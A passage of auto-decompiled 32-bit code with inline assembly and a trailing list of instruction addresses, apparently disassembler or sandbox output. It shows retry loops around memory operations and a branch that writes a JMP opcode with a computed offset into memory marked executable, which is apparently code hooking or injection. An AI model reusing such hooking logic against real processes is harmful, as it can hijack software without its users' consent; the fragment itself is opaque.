							asm("movq [esp+0x80], xmm0");
							E6F009640( &_v232, 0x30);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x88], xmm0");
							E6F009640(_t1576 + 0x22c, 0x40);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x90], xmm0");
							E6F009640(_t1576 + 0x22c, 0x50);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x98], xmm0");
							E6F009640(_t1576 + 0x22c, 0x60);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0xa0], xmm0");
							E6F009640( &_v248, 0x70);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [ecx-0x100], xmm0");
							_t747 = E6EFED530( &_v380, _t1452);
							_v396 = _t747;
							_v400 = _t1452;
							_t1496 = _t1452 - 0xffffffff;
							__eflags = _t747 - 0xffffffff | _t1452 - 0xffffffff;
							if((_t747 - 0xffffffff | _t1452 - 0xffffffff) == 0) {
								E6EFEE230( &_v388);
								E6F012530(_t1030,  &_v412, 0xffffffff, _t1496, _t1534);
								E6F009510( &_v300);
								E6F009510( &_v316);
								E6F009510( &_v332);
								E6F009510( &_v132);
								E6EFEE2F0(_t1030, _t1576 + 0x1bc, _t1569);
								E6F009510( &_v256);
								__eflags = 0;
								return 0;
							} else {
								_t1455 = _v108 | _v104;
								__eflags = _t1455;
								if(_t1455 == 0) {
									_v604 = _t1030;
									_t1498 = 0;
									__eflags = 0;
									 *((intOrPtr*)(_t1576 + 0x54)) = _t1534;
									do {
										_push(0);
										E6F009350( &_v428);
										E6EFF16B0(_t1498, _t1534,  &_v376, 0x57325ee3);
										E6EFFFDB0( &_v384,  &_v376);
										_t1456 = 0x7fffffff;
										E6F009710( &_v444, _v380, E6F006040(_v380, 0x7fffffff));
										E6F000B10( &_v388);
										E6EFF8CA0( &_v396);
										_t1537 = _v168;
										_t1034 =  *((intOrPtr*)( &_v452 + 0x120));
										_t768 = E6F009650( &_v452);
										__eflags = _t768;
										if(_t768 <= 0) {
											L25:
											asm("movq xmm0, [esp+0x200]");
											asm("movq [esp], xmm0");
											asm("pxor xmm2, xmm2");
											_v680 = 5;
											_v676 = _v280;
											asm("movq xmm1, [esp+0x210]");
											 *(_t1576 + 0x10) = _v284;
											asm("movq [esp+0x14], xmm1");
											_t1034 = _v148;
											_v660 = _v148;
											_t1534 = _v144;
											_v656 = _v144;
											asm("movq [esp+0x24], xmm2");
											asm("movq [esp+0x2c], xmm2");
											_t770 = E6F0104B0(_t1498, _v144);
											__eflags = _t770;
											if(_t770 == 0) {
												E6EFF22A0(0x3e8, _t1456);
												E6F009510( &_v432);
												_t1455 =  &_v120;
												E6EFED570( &_v264, _t1455,  &_v112);
												__eflags = _v116 | _v112;
												if((_v116 | _v112) != 0) {
													_t1030 =  *((intOrPtr*)(_t1576 + 0x50));
													_t1534 = _v604;
													goto L9;
												} else {
													_t974 = E6EFED530( &_v264, _t1455);
													_v280 = _t974;
													_v284 = _t1455;
													_t1479 = _t1455 - 0xffffffff;
													__eflags = _t974 - 0xffffffff | _t1455 - 0xffffffff;
													if((_t974 - 0xffffffff | _t1455 - 0xffffffff) == 0) {
														E6EFEE230( &_v392);
														E6F012530(_t1034,  &_v416, _t1479, _t1498, _t1534);
														E6F009510( &_v304);
														E6F009510( &_v320);
														E6F009510( &_v336);
														E6F009510( &_v136);
														E6EFEE2F0(_t1034, _t1576 + 0x1bc, _t1569);
														E6F009510( &_v260);
														__eflags = 0;
														return 0;
													} else {
														goto L29;
													}
												}
											} else {
												goto L26;
											}
										} else {
											__eflags = 0;
											_v624 = _t1498;
											_t1498 = _t1537;
											_t1534 = 0;
											while(1) {
												_t1005 = E6F009640( &_v432, _t1534);
												asm("movq xmm0, [esp+0x200]");
												asm("movq [esp], xmm0");
												 *((intOrPtr*)(_t1576 + 8)) = 5;
												_v680 = _v284;
												asm("movq xmm1, [esp+0x1f8]");
												_v676 = _v288;
												_t1456 =  *_t1005 & 0x000000ff;
												asm("movq [esp+0x14], xmm1");
												asm("movq xmm2, [0x6f019d40]");
												 *((intOrPtr*)(_t1576 + 0x1c)) = _t1498;
												_v660 = _t1034;
												_v656 =  *_t1005 & 0x000000ff;
												 *((intOrPtr*)(_t1576 + 0x28)) = 0;
												asm("movq [esp+0x2c], xmm2");
												_t1006 = E6F0104B0(_t1498, _t1534);
												__eflags = _t1006;
												if(_t1006 != 0) {
													break;
												}
												E6EFF22A0(0x64, _t1456);
												_t1498 = _t1498 + 1;
												asm("adc ebx, 0x0");
												_t1534 = _t1534 + 1;
												_t1008 = E6F009650( &_v432);
												__eflags = _t1534 - _t1008;
												if(_t1534 < _t1008) {
													continue;
												} else {
													_t1498 = _v624;
													goto L25;
												}
												goto L95;
											}
											L26:
											E6F009510( &_v432);
											E6EFEE230( &_v392);
											E6F012530(_t1034,  &_v416, _t1456, _t1498, _t1534);
											E6F009510( &_v304);
											E6F009510( &_v320);
											E6F009510( &_v336);
											E6F009510( &_v136);
											E6EFEE2F0(_t1034, _t1576 + 0x1bc, _t1569);
											E6F009510( &_v260);
											__eflags = 0;
											return 0;
										}
										goto L95;
										L29:
										_t1498 = _t1498 + 1;
										__eflags = _t1498 - 0xa;
									} while (_t1498 != 0xa);
									E6EFEE230( &_v392);
									E6F012530(_t1034,  &_v416, _t1479, _t1498, _t1534);
									E6F009510( &_v304);
									E6F009510( &_v320);
									E6F009510( &_v336);
									E6F009510( &_v136);
									E6EFEE2F0(_t1034, _t1576 + 0x1bc, _t1569);
									E6F009510( &_v260);
									__eflags = 0;
									return 0;
								} else {
									L9:
									 *((intOrPtr*)(_t1576 + 0x50)) = _t1030;
									_t1499 = 0;
									__eflags = 0;
									_v604 = _t1534;
									_t1538 = _v284;
									_t1035 = _v280;
									while(1) {
										asm("movq xmm0, [esp+0x200]");
										asm("movq xmm1, [esp+0x1f8]");
										asm("pxor xmm2, xmm2");
										asm("movq [esp], xmm0");
										_v680 = 5;
										_v676 = _t1035;
										 *(_t1576 + 0x10) = _t1538;
										asm("movq [esp+0x14], xmm1");
										_v660 = _v148;
										asm("movq xmm3, [0x6f019d48]");
										_v656 = _v144;
										asm("movq [esp+0x24], xmm2");
										asm("movq [esp+0x2c], xmm3");
										_t778 = E6F0104B0(_t1499, _t1538);
										__eflags = _t778;
										if(_t778 == 0) {
											break;
										}
										_t1035 = E6EFED530( &_v264, _t1455);
										_t1538 = _t1455;
										_t1455 = _t1538 - 0xffffffff;
										__eflags = _t1035 - 0xffffffff | _t1455;
										if((_t1035 - 0xffffffff | _t1455) == 0) {
											E6EFEE230( &_v392);
											E6F012530(_t1035,  &_v416, _t1455, _t1499, _t1538);
											E6F009510( &_v304);
											E6F009510( &_v320);
											E6F009510( &_v336);
											E6F009510( &_v136);
											E6EFEE2F0(_t1035, _t1576 + 0x1bc, _t1569);
											E6F009510( &_v260);
											__eflags = 0;
											return 0;
										} else {
											_t1499 = _t1499 + 1;
											__eflags = _t1499 - 0xa;
											if(_t1499 != 0xa) {
												continue;
											} else {
												E6EFEE230( &_v392);
												E6F012530(_t1035,  &_v416, _t1455, _t1499, _t1538);
												E6F009510( &_v304);
												E6F009510( &_v320);
												E6F009510( &_v336);
												E6F009510( &_v136);
												E6EFEE2F0(_t1035, _t1576 + 0x1bc, _t1569);
												E6F009510( &_v260);
												__eflags = 0;
												return 0;
											}
										}
										goto L95;
									}
									_v284 = _t1538;
									_t1500 = 0;
									__eflags = 0;
									_v280 = _t1035;
									_t1539 = _v284;
									_t1036 = _v280;
									while(1) {
										_push(0x80);
										_push(_v144);
										_push(_v148);
										_push(_t1539);
										_push(_t1036);
										_t1457 =  &_v576;
										__eflags = E6EFED170( &_v264, _t1457);
										if(__eflags != 0) {
											break;
										}
										_t1036 = E6EFED530( &_v284, _t1457);
										_t1539 = _t1457;
										_t1477 = _t1539 - 0xffffffff;
										__eflags = _t1036 - 0xffffffff | _t1539 - 0xffffffff;
										if((_t1036 - 0xffffffff | _t1539 - 0xffffffff) == 0) {
											E6EFEE230( &_v412);
											E6F012530(_t1036,  &_v436, _t1477, _t1500, _t1539);
											E6F009510( &_v324);
											E6F009510( &_v340);
											E6F009510( &_v356);
											E6F009510( &_v156);
											E6EFEE2F0(_t1036,  &_v264, _t1569);
											E6F009510( &_v280);
											__eflags = 0;
											return 0;
										} else {
											_t1500 = _t1500 + 1;
											__eflags = _t1500 - 0xa;
											if(_t1500 != 0xa) {
												continue;
											} else {
												E6EFEE230( &_v412);
												E6F012530(_t1036,  &_v436, _t1477, _t1500, _t1539);
												E6F009510( &_v324);
												E6F009510( &_v340);
												E6F009510( &_v356);
												E6F009510( &_v156);
												E6EFEE2F0(_t1036,  &_v264, _t1569);
												E6F009510( &_v280);
												__eflags = 0;
												return 0;
											}
										}
										goto L95;
									}
									_v300 = _t1036;
									 *((intOrPtr*)(_t1576 + 0x64)) = _v620;
									asm("cdq");
									asm("movd xmm1, ebx");
									_t1038 =  &_v616;
									_t1501 =  *((intOrPtr*)(_t1038 + 0x1c8));
									_t781 =  &_v604;
									 *(_t781 + 0x12c) = _t1539;
									asm("movd xmm0, edx");
									asm("punpckldq xmm1, xmm0");
									_t1540 =  *((intOrPtr*)(_t781 - 0x14));
									 *((intOrPtr*)(_t781 - 0xc)) = 0;
									 *((intOrPtr*)(_t781 - 8)) =  *((intOrPtr*)(_t1038 + 0x1c8));
									asm("movdqu [eax-0x28], xmm1");
									asm("movq [eax], xmm1");
									_t1459 =  &_v612;
									_t782 = E6F010C90(_t1540, _t1459, __eflags, _t781, 0x40, _t1038);
									__eflags = _t782;
									if(_t782 != 0) {
										E6EFEE230( &_v412);
										E6F012530(_t1038,  &_v436, _t1459, _t1501, _t1540);
										E6F009510( &_v324);
										E6F009510( &_v340);
										E6F009510( &_v356);
										E6F009510( &_v156);
										E6EFEE2F0(_t1038,  &_v264, _t1569);
										E6F009510( &_v280);
										__eflags = 0;
										return 0;
									} else {
										__eflags = 0;
										_v624 = _t1540;
										_v628 = 0;
										_t1040 = _v300;
										_t1503 = _v620;
										_t1542 = _v160;
										while(1) {
											L35:
											asm("movq xmm0, [esp+0x200]");
											asm("movq [esp], xmm0");
											asm("pxor xmm2, xmm2");
											_v700 = 5;
											 *(_t1576 + 0xc) = _t1040;
											asm("movq xmm1, [esp+0x1f8]");
											 *(_t1576 + 0x10) = _v304;
											asm("movq [esp+0x14], xmm1");
											_v680 = _t1542;
											_v676 = _t1503;
											asm("movq [esp+0x24], xmm2");
											asm("movdqu xmm3, [esp+0x40]");
											asm("movq [esp+0x2c], xmm3");
											_t793 = E6F0104B0(_t1503, _t1542);
											__eflags = _t793;
											if(_t793 == 0) {
												break;
											}
											_t1055 = 0;
											__eflags = 0;
											while(1) {
												_t911 = E6EFECA10( &_v284, __eflags);
												_t1326 = _t1459;
												_t1459 = _t911 | _t1326;
												__eflags = _t1459;
												if(_t1459 != 0) {
													break;
												}
												__eflags = _t1055 - 0x20;
												if(_t1055 == 0x20) {
													_t1040 = 0xffffffff;
													_v304 = 0xffffffff;
												} else {
													E6EFF22A0(0x5dc, _t1459);
													_t1055 = _t1055 + 1;
													continue;
												}
												L47:
												__eflags = _t1040 - 0xffffffff | _v304 - 0xffffffff;
												if((_t1040 - 0xffffffff | _v304 - 0xffffffff) == 0) {
													E6EFEE230( &_v412);
													E6F012530(_t1040,  &_v436, 0xffffffff, _t1503, _t1542);
													E6F009510( &_v324);
													E6F009510( &_v340);
													E6F009510( &_v356);
													E6F009510( &_v156);
													E6EFEE2F0(_t1040,  &_v264, _t1569);
													E6F009510( &_v280);
													__eflags = 0;
													return 0;
												} else {
													_t1459 = _v628 + 1;
													_v628 = _t1459;
													__eflags = _t1459 - 0xa;
													if(_t1459 != 0xa) {
														goto L35;
													} else {
														E6EFEE230( &_v412);
														E6F012530(_t1040,  &_v436, _t1459, _t1503, _t1542);
														E6F009510( &_v324);
														E6F009510( &_v340);
														E6F009510( &_v356);
														E6F009510( &_v156);
														E6EFEE2F0(_t1040,  &_v264, _t1569);
														E6F009510( &_v280);
														__eflags = 0;
														return 0;
													}
												}
												goto L95;
											}
											_v304 = _t1326;
											_t1040 = _t911;
											goto L47;
										}
										_v300 = _t1040;
										__eflags = 0;
										_t1041 = _v304;
										_t1543 = _v300;
										_v644 = 0;
										while(1) {
											_t795 = E6F009640( &_v324, 0);
											_t1504 = _t795;
											_push(E6F009650( &_v328));
											_push(_v624);
											_push(_v164);
											_push(_t1041);
											_push(_t1543);
											_t1460 = _t795;
											__eflags = E6EFED170( &_v288, _t1460);
											if(__eflags != 0) {
												break;
											}
											_t1518 = 0;
											__eflags = 0;
											while(1) {
												_t1543 = E6EFECA10( &_v304, __eflags);
												_t1041 = _t1460;
												__eflags = _t1543 | _t1041;
												if((_t1543 | _t1041) != 0) {
													break;
												}
												__eflags = _t1518 - 0x20;
												if(_t1518 == 0x20) {
													_t1543 = 0xffffffff;
													_t1041 = 0xffffffff;
												} else {
													E6EFF22A0(0x5dc, _t1460);
													_t1518 = _t1518 + 1;
													continue;
												}
												break;
											}
											_t1472 = _t1041 - 0xffffffff;
											__eflags = _t1543 - 0xffffffff | _t1041 - 0xffffffff;
											if((_t1543 - 0xffffffff | _t1041 - 0xffffffff) == 0) {
												E6EFEE230( &_v432);
												E6F012530(_t1041, _t1576 + 0x110, _t1472, _t1518, _t1543);
												E6F009510( &_v344);
												E6F009510(_t1576 + 0x170);
												E6F009510( &_v376);
												E6F009510( &_v176);
												E6EFEE2F0(_t1041,  &_v284, _t1569);
												E6F009510( &_v300);
												__eflags = 0;
												return 0;
											} else {
												_t900 =  *((intOrPtr*)(_t1576 + 0x40)) + 1;
												 *((intOrPtr*)(_t1576 + 0x40)) = _t900;
												__eflags = _t900 - 0xa;
												if(_t900 != 0xa) {
													continue;
												} else {
													E6EFEE230( &_v432);
													E6F012530(_t1041, _t1576 + 0x110, _t1472, _t1518, _t1543);
													E6F009510( &_v344);
													E6F009510(_t1576 + 0x170);
													E6F009510( &_v376);
													E6F009510( &_v176);
													E6EFEE2F0(_t1041,  &_v284, _t1569);
													E6F009510( &_v300);
													__eflags = 0;
													return 0;
												}
											}
											goto L95;
										}
										_v320 = _t1543;
										_t798 =  &_v636;
										 *(_t798 + 0x138) = _t1041;
										_t1544 =  *((intOrPtr*)(_t798 - 8));
										_t1461 = _t1576 + 0x6c;
										_t799 = E6F010C90( *((intOrPtr*)(_t798 - 8)), _t1576 + 0x6c, __eflags,  &_v624, _v636, _t798);
										__eflags = _t799;
										if(_t799 == 0) {
											_push(0);
											E6F009350(_t1576 + 0x44);
											_v644 = 0xe9;
											E6F009710( &_v668,  &_v644, 1);
											_v660 = _v192 -  *((intOrPtr*)( &_v660 + 0x154)) + 0xfffffffb;
											E6F009710( &_v676,  &_v660, 4);
											_t1043 =  &_v656;
											asm("movq xmm0, [0x6f019d50]");
											 *((intOrPtr*)(_t1043 + 4)) = _v328;
											 *((intOrPtr*)(_t1043 + 8)) =  *((intOrPtr*)(_t1043 + 0x1bc));
											asm("movq [ebx+0xc], xmm0");
											E6F010C90(_t1544, _t1576 + 0x6c, __eflags,  &_v644, 0x40, _t1043);
											__eflags = 0;
											_v676 = 0;
											_t1044 = _v356;
											_t1545 = _v352;
											while(1) {
												_t810 = E6F009640( &_v668, 0);
												_push(E6F009650(_t1576 + 0x40));
												_push(_v200);
												_push(_v316);
												_push(_t1044);
												_push(_t1545);
												_t1465 = _t810;
												_t812 = E6EFED170( &_v312, _t1465);
												__eflags = _t812;
												if(_t812 != 0) {
													break;
												}
												_t1514 = 0;
												__eflags = 0;
												while(1) {
													_t1545 = E6EFECA10( &_v328, __eflags);
													_t1044 = _t1465;
													__eflags = _t1545 | _t1044;
													if((_t1545 | _t1044) != 0) {
														break;
													}
													__eflags = _t1514 - 0x20;
													if(_t1514 == 0x20) {
														_t1545 = 0xffffffff;
														_t1044 = 0xffffffff;
													} else {
														E6EFF22A0(0x5dc, _t1465);
														_t1514 = _t1514 + 1;
														continue;
													}
													break;
												}
												_t1470 = _t1044 - 0xffffffff;
												__eflags = _t1545 - 0xffffffff | _t1044 - 0xffffffff;
												if((_t1545 - 0xffffffff | _t1044 - 0xffffffff) == 0) {
													E6F009510(_t1576 + 0x40);
													E6EFEE230(_t1576 + 0x128);
													E6F012530(_t1044,  &_v480, _t1470, _t1514, _t1545);
													E6F009510( &_v368);
													E6F009510( &_v384);
													E6F009510( &_v400);
													E6F009510( &_v200);
													E6EFEE2F0(_t1044,  &_v308, _t1569);
													E6F009510( &_v324);
													__eflags = 0;
													return 0;
												} else {
													_t865 = _v668 + 1;
													_v668 = _t865;
													__eflags = _t865 - 0xa;
													if(_t865 != 0xa) {
														continue;
													} else {
														E6F009510(_t1576 + 0x40);
														E6EFEE230(_t1576 + 0x128);
														E6F012530(_t1044,  &_v480, _t1470, _t1514, _t1545);
														E6F009510( &_v368);
														E6F009510( &_v384);
														E6F009510( &_v400);
														E6F009510( &_v200);
														E6EFEE2F0(_t1044,  &_v308, _t1569);
														E6F009510( &_v324);
														__eflags = 0;
														return 0;
													}
												}
												goto L95;
											}
											_v348 = _t1044;
											_t1045 = 0;
											__eflags = 0;
											_v344 = _t1545;
											_t1466 = _v348;
											_t813 = _t1545;
											while(1) {
												asm("movq xmm0, [esp+0x200]");
												asm("movq [esp], xmm0");
												asm("pxor xmm1, xmm1");
												_v744 = 5;
												_v740 = _t813;
												_v736 = _t1466;
												_v732 = _v332;
												 *((intOrPtr*)(_t1576 + 0x18)) = _v216;
												_t1546 =  *((intOrPtr*)(_t1576 + 0x21c));
												_v724 =  *((intOrPtr*)(_t1576 + 0x21c));
												_t1507 =  *((intOrPtr*)(_t1576 + 0x220));
												 *((intOrPtr*)(_t1576 + 0x20)) =  *((intOrPtr*)(_t1576 + 0x220));
												asm("movq [esp+0x24], xmm1");
												asm("movq [esp+0x2c], xmm1");
												_t815 = E6F0104B0( *((intOrPtr*)(_t1576 + 0x220)),  *((intOrPtr*)(_t1576 + 0x21c)));
												__eflags = _t815;
												if(_t815 == 0) {
													break;
												}
												_t1547 = 0;
												__eflags = 0;
												while(1) {
													_t813 = E6EFECA10( &_v328, __eflags);
													__eflags = _t813 | _t1466;
													if((_t813 | _t1466) != 0) {
														break;
													}
													__eflags = _t1547 - 0x20;
													if(_t1547 == 0x20) {
														_t813 = 0xffffffff;
														_t1466 = 0xffffffff;
													} else {
														E6EFF22A0(0x5dc, _t1466);
														_t1547 = _t1547 + 1;
														continue;
													}
													break;
												}
												_t1549 = _t1466 - 0xffffffff;
												_t1510 = _t813 - 0xffffffff | _t1466 - 0xffffffff;
												__eflags = _t813 - 0xffffffff | _t1466 - 0xffffffff;
												if((_t813 - 0xffffffff | _t1466 - 0xffffffff) == 0) {
													E6F009510(_t1576 + 0x40);
													E6EFEE230(_t1576 + 0x128);
													E6F012530(_t1045,  &_v480, _t1466, _t1510, _t1549);
													E6F009510( &_v368);
													E6F009510( &_v384);
													E6F009510( &_v400);
													E6F009510( &_v200);
													E6EFEE2F0(_t1045,  &_v308, _t1569);
													E6F009510( &_v324);
													__eflags = 0;
													return 0;
												} else {
													_t1045 = _t1045 + 1;
													__eflags = _t1045 - 0xa;
													if(_t1045 != 0xa) {
														continue;
													} else {
														E6F009510(_t1576 + 0x40);
														E6EFEE230(_t1576 + 0x128);
														E6F012530(_t1045,  &_v480, _t1466, _t1510, _t1549);
														E6F009510( &_v368);
														E6F009510( &_v384);
														E6F009510( &_v400);
														E6F009510( &_v200);
														E6EFEE2F0(_t1045,  &_v308, _t1569);
														E6F009510( &_v324);
														__eflags = 0;
														return 0;
													}
												}
												goto L95;
											}
											_push(0);
											_t1467 = _v168;
											__eflags = _t1467;
											_t1468 =  !=  ? _t1467 + 0xc : _t1467;
											_push( !=  ? _t1467 + 0xc : _t1467);
											_t1047 = E6F011A80( !=  ? _t1467 + 0xc : _t1467, _t1467,  &_v480, 0x2710);
											E6F009510(_t1576 + 0x50);
											E6EFEE230(_t1576 + 0x138);
											E6F012530(_t1047,  &_v480,  !=  ? _t1467 + 0xc : _t1467, _t1507, _t1546);
											E6F009510( &_v368);
											E6F009510( &_v384);
											E6F009510( &_v400);
											E6F009510( &_v200);
											E6EFEE2F0(_t1047,  &_v308, _t1569);
											E6F009510( &_v324);
											__eflags = _t1047 - 1;
											_t465 = _t1047 - 1 > 0;
											__eflags = _t465;
											return 0 | _t465;
										} else {
											E6EFEE230( &_v432);
											E6F012530( &_v624, _t1576 + 0x110, _t1461, _t1504, _t1544);
											E6F009510( &_v344);
											E6F009510(_t1576 + 0x170);
											E6F009510( &_v376);
											E6F009510( &_v176);
											E6EFEE2F0( &_v624,  &_v284, _t1569);
											E6F009510( &_v300);
											__eflags = 0;
											return 0;
										}
									}
								}
							}
						} else {
							goto L6;
						}
					}
				} else {
					E6F009510(_t1572 + 0x228);
					E6EFEE2F0(_t1027,  &_v180, _t1569);
					E6F009510( &_v196);
					return 0;
				}
				L95:
			}

0x6efeacd9
0x6efeacdf
0x6efeace3
0x6efeacf4
0x6efeacf7
0x6efeacfc
0x6efead05
0x6efead0c
0x6efead13
0x6efead1b
0x6efead20
0x6efead29
0x6efead2e
0x6efead3d
0x6efead41
0x6efead57
0x6efead73
0x6efead78
0x6efead84
0x6efead88
0x6efead8b
0x6efead93
0x6efeada9
0x6efeadc5
0x6efeadca
0x6efeadd6
0x6efeadda
0x6efeaddd
0x6efeade5
0x6efeadfb
0x6efeae17
0x6efeae1c
0x6efeae28
0x6efeae2c
0x6efeae2f
0x6efeae37
0x6efeae4d
0x6efeae69
0x6efeae6e
0x6efeae7a
0x6efeae7e
0x6efeae81
0x6efeae89
0x6efeae9f
0x6efeaebb
0x6efeaec0
0x6efeaecc
0x6efeaed0
0x6efeaed3
0x6efeaedb
0x6efeaef1
0x6efeaf0d
0x6efeaf12
0x6efeaf23
0x6efeaf26
0x6efeaf34
0x6efeaf39
0x6efeaf3e
0x6efeaf50
0x6efeaf55
0x6efeaf5a
0x6efeaf6c
0x6efeaf71
0x6efeaf76
0x6efeaf88
0x6efeaf8d
0x6efeaf92
0x6efeafa4
0x6efeafa9
0x6efeafae
0x6efeafc0
0x6efeafc5
0x6efeafd1
0x6efeafd6
0x6efeafeb
0x6efeaff0
0x6efeaff9
0x6efeb002
0x6efeb039
0x6efeb042
0x6efeb05f
0x6efeb072
0x6efeb077
0x6efeb07c
0x6efec89d
0x6efec8a0
0x6efec8a4
0x6efec8a6
0x6efec8aa
0x6efec8af
0x6efec8d5
0x6efec8e1
0x6efec8e9
0x6efec8f5
0x6efec903
0x6efec908
0x6efec90e
0x00000000
0x6efec914
0x6efec914
0x6efec920
0x6efec924
0x6efec928
0x6efec92a
0x00000000
0x6efec930
0x6efec930
0x6efec935
0x00000000
0x6efec93b
0x6efec93b
0x6efec946
0x6efec954
0x6efec967
0x6efec96c
0x6efec978
0x6efec980
0x6efec98c
0x6efec99f
0x6efec9a1
0x6efec9ab
0x6efec9b5
0x6efec9b8
0x6efec9c0
0x6efec9c2
0x6efec9c6
0x6efec9c8
0x6efec9cc
0x6efec9cc
0x6efec9ce
0x6efec9d2
0x6efec9d2
0x6efec9d3
0x6efec9d7
0x6efec9db
0x6efec9de
0x6efec9e1
0x00000000
0x00000000
0x6efec9e3
0x6efec9e7
0x6efec9ea
0x00000000
0x00000000
0x00000000
0x6efec9ea
0x6efec9ec
0x6efec9ec
0x6efec9f7
0x6efec9ff
0x6efec9ff
0x6efec935
0x6efec92a
0x6efeb082
0x6efeb082
0x6efeb082
0x6efeb08b
0x6efeb08b
0x6efeb097
0x6efeb0a3
0x6efeb0a8
0x6efeb0b7
0x6efeb0bb
0x6efeb0d1
0x6efeb0ed
0x6efeb0f2
0x6efeb0fe
0x6efeb102
0x6efeb105
0x6efeb10d
0x6efeb123
0x6efeb13f
0x6efeb144
0x6efeb150
0x6efeb154
0x6efeb157
0x6efeb15f
0x6efeb175
0x6efeb191
0x6efeb196
0x6efeb19b
0x6efeb19e
0x6efeb1aa
0x6efeb1b9
0x6efeb1be
0x6efeb1c2
0x6efeb1d0
0x6efeb1d5
0x6efeb1da
0x6efeb1ec
0x6efeb1f1
0x6efeb1f6
0x6efeb20d
0x6efeb215
0x6efeb21c
0x6efeb223
0x6efeb22c
0x6efeb231
0x6efeb23a
0x6efeb246
0x6efeb248
0x6efeb24f
0x6efeb262
0x6efeb269
0x6efeb282
0x6efeb290
0x6efeb2a7
0x6efeb2ac
0x6efeb2bb
0x6efeb2c2
0x6efeb2d2
0x6efeb2d9
0x6efeb2ee
0x6efeb2f3
0x6efeb2fa
0x6efeb303
0x6efeb30a
0x6efeb319
0x6efeb320
0x6efeb32c
0x6efeb338
0x6efeb344
0x6efeb350
0x6efeb35c
0x6efeb361
0x6efeb36f
0x6efeb30c
0x6efeb313
0x6efeb317
0x6efeb37e
0x6efeb383
0x6efeb38b
0x6efeb399
0x6efeb39a
0x6efeb39b
0x6efeb3a4
0x6efeb3ab
0x6efeb3b5
0x6efeb3bf
0x6efeb3c9
0x6efeb3d5
0x6efeb3d6
0x6efeb3dd
0x6efeb3e1
0x6efeb3e5
0x6efeb3f3
0x6efeb401
0x6efeb402
0x6efeb40a
0x6efeb40e
0x6efeb412
0x6efeb420
0x6efeb433
0x6efeb434
0x6efeb438
0x6efeb43c
0x6efeb440
0x6efeb460
0x6efeb46c
0x6efeb476
0x6efeb47c
0x6efeb482
0x6efeb487
0x6efeb496
0x6efeb49a
0x6efeb4b0
0x6efeb4cc
0x6efeb4d1
0x6efeb4dd
0x6efeb4e1
0x6efeb4e4
0x6efeb4ec
0x6efeb502
0x6efeb51e
0x6efeb523
0x6efeb52f
0x6efeb533
0x6efeb536
0x6efeb53e
0x6efeb554
0x6efeb570
0x6efeb575
0x6efeb581
0x6efeb585
0x6efeb588
0x6efeb590
0x6efeb5a6
0x6efeb5c2
0x6efeb5c7
0x6efeb5d3
0x6efeb5d7
0x6efeb5da
0x6efeb5e2
0x6efeb5f8
0x6efeb614
0x6efeb619
0x6efeb625
0x6efeb629
0x6efeb62c
0x6efeb634
0x6efeb64a
0x6efeb666
0x6efeb66b
0x6efeb677
0x6efeb67b
0x6efeb67e
0x6efeb686
0x6efeb69c
0x6efeb6b8
0x6efeb6bd
0x6efeb6c9
0x6efeb6cd
0x6efeb6d0
0x6efeb6d8
0x6efeb6ee
0x6efeb70a
0x6efeb70f
0x6efeb714
0x6efeb720
0x6efeb723
0x6efeb731
0x6efeb736
0x6efeb73b
0x6efeb74a
0x6efeb74f
0x6efeb754
0x6efeb763
0x6efeb768
0x6efeb76d
0x6efeb77f
0x6efeb784
0x6efeb789
0x6efeb79b
0x6efeb7a0
0x6efeb7a5
0x6efeb7b7
0x6efeb7bc
0x6efeb7c1
0x6efeb7d3
0x6efeb7d8
0x6efeb7dd
0x6efeb7ef
0x6efeb7f4
0x6efeb800
0x6efeb808
0x6efeb80d
0x6efeb814
0x6efeb824
0x6efeb826
0x6efeb828
0x6efec829
0x6efec835
0x6efec841
0x6efec84d
0x6efec859
0x6efec865
0x6efec871
0x6efec87d
0x6efec882
0x6efec890
0x6efeb82e
0x6efeb835
0x6efeb835
0x6efeb83c
0x6efeba4c
0x6efeba50
0x6efeba50
0x6efeba52
0x6efeba56
0x6efeba56
0x6efeba5f
0x6efeba71
0x6efeba85
0x6efeba93
0x6efebaa6
0x6efebab2
0x6efebabe
0x6efebac3
0x6efebad1
0x6efebad7
0x6efebadc
0x6efebade
0x6efebb91
0x6efebb91
0x6efebb9a
0x6efebb9f
0x6efebba3
0x6efebbb2
0x6efebbbd
0x6efebbc6
0x6efebbca
0x6efebbd0
0x6efebbd7
0x6efebbdb
0x6efebbe2
0x6efebbe6
0x6efebbec
0x6efebbf2
0x6efebbf7
0x6efebbf9
0x6efebc7d
0x6efebc89
0x6efebc9d
0x6efebca4
0x6efebcb0
0x6efebcb7
0x6efec815
0x6efec819
0x00000000
0x6efebcbd
0x6efebcc4
0x6efebcc9
0x6efebcd0
0x6efebce0
0x6efebce2
0x6efebce4
0x6efec7ab
0x6efec7b7
0x6efec7c3
0x6efec7cf
0x6efec7db
0x6efec7e7
0x6efec7f3
0x6efec7ff
0x6efec804
0x6efec812
0x00000000
0x00000000
0x00000000
0x6efebce4
0x00000000
0x00000000
0x00000000
0x6efebae4
0x6efebae4
0x6efebae6
0x6efebaea
0x6efebaec
0x6efebaee
0x6efebaf6
0x6efebafb
0x6efebb04
0x6efebb09
0x6efebb18
0x6efebb23
0x6efebb2c
0x6efebb30
0x6efebb33
0x6efebb39
0x6efebb41
0x6efebb45
0x6efebb49
0x6efebb4d
0x6efebb55
0x6efebb5b
0x6efebb60
0x6efebb62
0x00000000
0x00000000
0x6efebb6d
0x6efebb72
0x6efebb7c
0x6efebb7f
0x6efebb80
0x6efebb85
0x6efebb87
0x00000000
0x6efebb8d
0x6efebb8d
0x00000000
0x6efebb8d
0x00000000
0x6efebb87
0x6efebbfb
0x6efebc02
0x6efebc0e
0x6efebc1a
0x6efebc26
0x6efebc32
0x6efebc3e
0x6efebc4a
0x6efebc56
0x6efebc62
0x6efebc67
0x6efebc75
0x6efebc75
0x00000000
0x6efebcea
0x6efebcea
0x6efebceb
0x6efebceb
0x6efebcfb
0x6efebd07
0x6efebd13
0x6efebd1f
0x6efebd2b
0x6efebd37
0x6efebd43
0x6efebd4f
0x6efebd54
0x6efebd62
0x6efeb842
0x6efeb842
0x6efeb842
0x6efeb846
0x6efeb846
0x6efeb848
0x6efeb84c
0x6efeb853
0x6efeb85a
0x6efeb85a
0x6efeb863
0x6efeb86c
0x6efeb870
0x6efeb875
0x6efeb87d
0x6efeb881
0x6efeb885
0x6efeb892
0x6efeb89d
0x6efeb8a5
0x6efeb8a9
